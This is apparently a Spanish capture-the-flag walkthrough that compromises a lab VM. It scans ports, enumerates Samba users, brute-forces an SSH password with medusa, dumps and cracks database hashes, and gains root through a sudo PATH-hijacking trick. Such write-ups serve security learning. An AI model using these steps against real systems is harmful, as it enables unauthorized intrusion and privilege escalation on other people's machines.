GOIKO

CONECTIVIDAD

```
ping -c1 192.168.0.31
```

```
└─# ping -c1 192.168.0.31
PING 192.168.0.31 (192.168.0.31) 56(84) bytes of data.
64 bytes from 192.168.0.31: icmp_seq=1 ttl=64 time=1.90 ms

── 192.168.0.31 ping statistics ──
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.895/1.895/1.895/0.000 ms
```

IP DE LA MÁQUINA VÍCTIMA 192.168.0.31

LINUX- ttl=64

ESCANEO DE PUERTOS

```
nmap -p- -Pn -sVC --min-rate 5000 192.168.0.31 -T 5
```

```
└─# nmap -p- -Pn -sSVC --min-rate 5000 192.168.0.31 -T 5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 13:59 EDT
Warning: 192.168.0.31 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.0.31
Host is up (0.013s latency).
Not shown: 42428 closed tcp ports (reset), 23104 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 e6:e0:15:63:c4:74:9e:04:7c:95:44:d5:45:c2:b4:4a (ECDSA)
|_  256 44:02:f3:25:5d:f0:b2:f3:2b:71:a3:08:dd:4f:37:72 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 00:0C:29:C8:A3:DC (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: VENTURA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -9s
| smb2-time:
|   date: 2024-09-16T18:00:05
|_  start_date: N/A
```

Encontramos los puertos abiertos 22, 139 y 445

ENUMERACIÓN

Enumeramos usuarios y grupos con enum4linux

enum4linux -a 192.168.0.31

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\nika (Local User)
S-1-22-1-1001 Unix User\camarero (Local User)
S-1-22-1-1002 Unix User\gurpreet (Local User)
S-1-22-1-1003 Unix User\marmai (Local User)

[+] Enumerating users using SID S-1-5-21-2966217660-2716756588-547574013 and logon username '', password ''

S-1-5-21-2966217660-2716756588-547574013-501 VENTURA\nobody (Local User)
S-1-5-21-2966217660-2716756588-547574013-513 VENTURA\None (Domain Group)
```

EXPLOTACIÓN

Tenemos varios usuarios, vamos probando por SSH con medusa

para sacar una contraseña

```
└─# medusa -h 192.168.0.31 -u gurpreet -P /usr/share/wordlists/rockyou.txt -M ssh | grep "SUCCESS"
ACCOUNT FOUND: [ssh] Host: 192.168.0.31 User: gurpreet Password: babygirl [SUCCESS]
```

Vamos a conectarnos por SSH

```
└─# ssh gurpreet@192.168.0.31
The authenticity of host '192.168.0.31 (192.168.0.31)' can't be established.
ED25519 key fingerprint is SHA256:O9L129ILz+QPam4Ko5ko5vJrQMtRLZA/GMVooJ562B8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.31' (ED25519) to the list of known hosts.
gurpreet@192.168.0.31's password:
Linux ventura 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 15 05:41:59 2024 from 192.168.1.35
gurpreet@ventura:~$
```

ESCALADA DE PRIVILEGIOS

Listamos en /gurpreet y tenemos una nota y un user.txt

gurpreet@ventura:~$ cat nota

- ENGLISH = The database has very simple hashes, please configure it well.

- CASTELLANO = La base de datos tiene hashes muy sencillos, por favor configuralo bien.

- CATALA = La base de dades te hashes molt senzills, si us plau configura be.

Nos da una buena pista; nos conectamos a la base de datos

```
gurpreet@ventura:~$ mysql -u gurpreet -p'babygirl' -h 127.0.0.1
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| ceti               |
| information_schema |
| mysql              |
| performance_schema |
| secta              |
| sys                |
+--------------------+
6 rows in set (0.002 sec)

MariaDB [(none)]> use secta;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [secta]> show tables;
+-----------------+
| Tables_in_secta |
+-----------------+
| integrantes     |
+-----------------+
1 row in set (0.001 sec)

MariaDB [secta]> se
secta      set option
MariaDB [secta]> select * from integrantes;
+----+---------+----------------------------------+
| id | name    | password                         |
+----+---------+----------------------------------+
|  1 | carline | 703ff9a12582b2aaaa3fe7f89bb976c8 |
|  2 | nika    | c6f606a6b6a30cbaa428131d4c074787 |
+----+---------+----------------------------------+
2 rows in set (0.001 sec)
```

Obtenemos dos hashes y vamos con el de nika

Con https://hashes.com/es/decrypt/hash

703ff9a12582b2aaaa3fe7f89bb976c8:lucymylove

Nos hacemos nika y buscamos permisos sudo

```
nika@ventura:~$ sudo -l
Matching Defaults entries for nika on ventura:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User nika may run the following commands on ventura:
    (ALL) SETENV: NOPASSWD: /opt/porno/watchporn.sh
```

nika@ventura:~$ cat /opt/porno/watchporn.sh
#!/bin/bash
learningbash="Hello World"
echo $learningbash

find source_images -type f -name '*.jpg' -exec chown root:root {} \:

Path Hijacking

Path Hijacking es una técnica donde un atacante manipula la variable de entorno PATH para que el sistema ejecute una versión maliciosa de un comando en lugar del comando legítimo. En nuestro caso, estamos creando un archivo llamado find en un directorio que precede al directorio estándar de comandos en la variable PATH,
con la esperanza de que el script watchporn.sh ejecute tu versión del comando find en lugar del comando find del sistema.

1- Crea un archivo llamado find con el contenido que ejecutará un shell Bash:

echo "/bin/bash" >find

2- Hacemos que el archivo find sea ejecutable:

chmod 777 find

3- Ejecutamos el script watchporn.sh con el PATH modificado:

sudo PATH=/opt/porno:$PATH /opt/porno/watchporn.sh

Al agregar /opt/porno al inicio de la variable PATH, cualquier comando que el script watchporn.sh intente ejecutar, como find, se buscará primero en /opt/porno. Dado que hemos colocado nuestro propio archivo find en ese directorio, este será el que se ejecute.

🖖 **Buen día.**